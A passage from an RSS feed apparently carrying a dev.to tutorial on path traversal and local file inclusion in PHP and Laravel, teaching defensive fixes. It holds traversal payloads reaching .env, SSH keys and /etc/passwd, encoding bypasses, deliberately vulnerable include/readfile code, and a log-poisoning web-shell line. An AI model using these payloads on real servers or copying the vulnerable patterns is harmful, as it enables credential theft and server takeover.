&lt;li&gt;This article — command injection in PHP and when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>php</category>
      <category>webdev</category>
      <category>security</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Path Traversal in PHP — How `../` Escapes Your Application</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Tue, 28 Jul 2026 07:02:00 +0000</pubDate>
      <link>https://dev.to/kriosa/path-traversal-in-php-how-escapes-your-application-1372</link>
      <guid>https://dev.to/kriosa/path-traversal-in-php-how-escapes-your-application-1372</guid>
      <description>&lt;p&gt;Originally published on Medium&lt;br&gt;
One unsanitized file path is all an attacker needs to read your database credentials, your SSH keys, or your entire codebase.&lt;/p&gt;

&lt;p&gt;This is the eighth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detecting SQL injection attempts in PHP logs&lt;/li&gt;
&lt;li&gt;Why URL encoding blinds most PHP security checks&lt;/li&gt;
&lt;li&gt;The decode bomb problem with unlimited URL decoding&lt;/li&gt;
&lt;li&gt;Why parameterized queries are the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;File upload security  the file that isn't what it claims to be&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;Path traversal is no different. And it is one of the most quietly dangerous vulnerabilities in PHP applications because it hides inside features that look completely legitimate  file downloads, template loading, document viewers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Path Traversal Actually Is&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Path traversal is an attack where an attacker manipulates a file path to access files outside the directory your application intended to serve.&lt;/p&gt;

&lt;p&gt;The attack uses &lt;code&gt;../&lt;/code&gt;  which in any operating system means "go up one directory level." By chaining multiple &lt;code&gt;../&lt;/code&gt; sequences an attacker climbs up the directory tree and accesses files your application was never supposed to touch.&lt;/p&gt;

&lt;p&gt;It does not require a login. It does not require special tools. It requires one unsanitized file path and a browser.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Attack in Plain Terms&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Your application has a file download feature:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$filepath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/storage/files/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$filename&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nb"&gt;readfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filepath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A legitimate user sends:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;file=document1.pdf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The path becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/www/storage/files/document1.pdf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Clean. Expected. Safe.&lt;/p&gt;

&lt;p&gt;An attacker sends:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;file=../../config/database.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The path becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/www/storage/files/../../config/database.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Which resolves to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/www/config/database.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your database credentials just left the server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Going Further Up the Tree&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An attacker does not stop at your application directory. They keep climbing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;file=../../../etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Resolves to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On Unix-like systems, &lt;code&gt;/etc/passwd&lt;/code&gt; is typically world-readable and lists local user accounts. From there an attacker maps users, identifies privilege levels, and plans their next move.&lt;/p&gt;

&lt;p&gt;More dangerous targets:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;../../../var/www/.env              — your Laravel environment file
../../../proc/self/environ         — server environment variables
../../../var/log/apache2/access.log — server access logs
../../../home/ubuntu/.ssh/id_rsa   — SSH private key
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each one of these is a complete breach on its own.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How Attackers Bypass Basic Filters&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You already know about URL encoding from &lt;a href="https://medium.com/@jnchiminyi/why-url-encoding-can-break-php-security-checks-and-what-actually-works-748d2ebc848e" rel="noopener noreferrer"&gt;article 2&lt;/a&gt;. Attackers use it here too.&lt;/p&gt;

&lt;p&gt;A simple filter that strips &lt;code&gt;../&lt;/code&gt; gets bypassed immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This fails&lt;/span&gt;
&lt;span class="nv"&gt;$filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'../'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker sends &lt;code&gt;....//&lt;/code&gt;. After stripping &lt;code&gt;../&lt;/code&gt; from the middle it becomes &lt;code&gt;../&lt;/code&gt;. The traversal still works. The filter protected nothing.&lt;/p&gt;

&lt;p&gt;Encoded variations bypass strpos checks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;%2e%2e%2f       — URL encoded ../
%2e%2e/         — partially encoded
..%2f           — partially encoded
%2e%2e%5c       — Windows path separator
....//          — double sequence evasion
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A check looking for the literal string &lt;code&gt;../&lt;/code&gt; misses every one of these. This is why string-based filters always fail for path traversal  they match representations, not what the path actually resolves to.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Four PHP Functions Most Vulnerable to Path Traversal&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. readfile()&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;readfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/var/www/storage/files/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reads and outputs file content directly. An attacker reads any file the web server user has permission to access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. file_get_contents()&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;file_get_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/var/www/templates/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'template'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Returns file content as a string. Same risk as readfile() any readable file on the system is accessible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. include() and require()&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;include&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/var/www/views/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'page'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'.php'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the most dangerous case. Not only can the attacker read files  if they can get PHP code into a readable file first and then include it, they achieve Remote Code Execution. This chained attack is called Local File Inclusion and it turns a read vulnerability into a full server takeover.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. fopen()&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$handle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;fopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/var/www/uploads/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'filename'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s1"&gt;'r'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Opens a file handle for reading. Same risk as readfile().&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Path Traversal vs Local File Inclusion&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;These two terms are related but describe different levels of severity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Path traversal&lt;/strong&gt; is the ability to read files outside the intended directory. The attacker reads your &lt;code&gt;.env&lt;/code&gt; file, your database config, your SSH keys. Serious damage. Confidential data exposed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Local File Inclusion&lt;/strong&gt; happens when path traversal is combined with &lt;code&gt;include()&lt;/code&gt; or &lt;code&gt;require()&lt;/code&gt;. The attacker does not just read files they execute PHP code. This turns a bad vulnerability into a complete server takeover.&lt;/p&gt;

&lt;p&gt;The LFI attack chain works like this:&lt;/p&gt;

&lt;p&gt;An attacker knows your server logs User-Agent headers. They send a request with a PHP payload as their User-Agent:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;User-Agent: &lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'cmd'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This gets written into your server access log at:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/log/apache2/access.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now they use path traversal to include the log file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;page=../../../var/log/apache2/access.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your server executes the PHP code that was injected into the log. Whether this succeeds depends on the server configuration, log file permissions, and how the application includes the file.&lt;/p&gt;

&lt;p&gt;This is why &lt;code&gt;include()&lt;/code&gt; with user-controlled input is one of the most dangerous patterns in PHP. Path traversal reads files. LFI executes them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Wrong Fixes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wrong fix 1 — Stripping &lt;code&gt;../&lt;/code&gt;:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'../'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker sends &lt;code&gt;....//&lt;/code&gt;. After stripping &lt;code&gt;../&lt;/code&gt; it becomes &lt;code&gt;../&lt;/code&gt;. Bypassed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wrong fix 2 — Checking for &lt;code&gt;../&lt;/code&gt; with strpos:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s1"&gt;'../'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Invalid path'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker sends &lt;code&gt;%2e%2e%2f&lt;/code&gt;. Your check never sees &lt;code&gt;../&lt;/code&gt;. Bypassed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wrong fix 3 — Using basename() alone:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="nb"&gt;readfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/var/www/storage/files/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$filename&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;basename()&lt;/code&gt; strips directory components and returns only the filename. This prevents traversal but breaks any feature that serves files from subdirectories. It works for flat file structures but is not a complete solution. &lt;code&gt;basename()&lt;/code&gt; should be viewed as an additional safeguard, not a replacement for proper path validation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Correct Fixes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 1 — realpath() validation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;realpath()&lt;/code&gt; resolves the actual absolute path after processing all &lt;code&gt;../&lt;/code&gt; sequences and symbolic links. By the time &lt;code&gt;realpath()&lt;/code&gt; is called, PHP has already received the decoded path from the HTTP request. &lt;code&gt;realpath()&lt;/code&gt; then resolves the resulting filesystem path, eliminating &lt;code&gt;.&lt;/code&gt; and &lt;code&gt;..&lt;/code&gt; segments and resolving symbolic links.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$baseDir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;realpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/var/www/storage/files'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$requestedPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;realpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$baseDir&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$requestedPath&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'File not found.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$requestedPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$baseDir&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="no"&gt;DIRECTORY_SEPARATOR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Access denied.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nb"&gt;readfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$requestedPath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why this works:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;realpath()&lt;/code&gt; resolves the full path including any &lt;code&gt;../&lt;/code&gt; sequences&lt;/li&gt;
&lt;li&gt;If the file does not exist &lt;code&gt;realpath()&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt;  caught immediately&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;strpos($requestedPath, $baseDir . DIRECTORY_SEPARATOR)&lt;/code&gt; checks that the resolved path still starts with your intended base directory&lt;/li&gt;
&lt;li&gt;If it does not  the traversal moved outside the allowed directory  access is denied&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DIRECTORY_SEPARATOR&lt;/code&gt; ensures the check works correctly on both Linux and Windows systems&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Fix 2 — Whitelist approach&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For a known set of files never accept a filename from user input at all. Accept an identifier and map it to a filename in your code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$allowedFiles&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'invoice'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'invoice_template.pdf'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'receipt'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'receipt_template.pdf'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'contract'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'contract_template.pdf'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nv"&gt;$fileKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;array_key_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$fileKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$allowedFiles&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'File not found.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$filepath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/storage/files/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$allowedFiles&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$fileKey&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nb"&gt;readfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filepath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker never controls any part of the file system path. They send &lt;code&gt;file=invoice&lt;/code&gt; and your code looks up the mapping. No traversal is possible because user input never touches the path directly.&lt;/p&gt;

&lt;p&gt;This is the strongest fix when you have a known set of files. Use it wherever possible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 3 — PHP open_basedir&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;PHP has a configuration directive that restricts which directories PHP is allowed to access:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;; php.ini
&lt;/span&gt;&lt;span class="py"&gt;open_basedir&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;/var/www/storage/files/:/tmp/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this configured any attempt to access a file outside the specified directories produces a PHP error  even if the traversal successfully constructs the path. This is a server-level safety net that limits damage if application-level validation fails.&lt;/p&gt;

&lt;p&gt;It does not replace application validation. It is an additional layer underneath it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Laravel Path Traversal&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Laravel's Storage facade provides a safer abstraction for file operations, but user-controlled paths should still be validated and authorized:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Safer — Storage facade reduces common mistakes&lt;/span&gt;
&lt;span class="nv"&gt;$content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Storage&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;disk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'local'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filename&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But raw PHP file functions bypass this protection completely:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous — raw function with user input&lt;/span&gt;
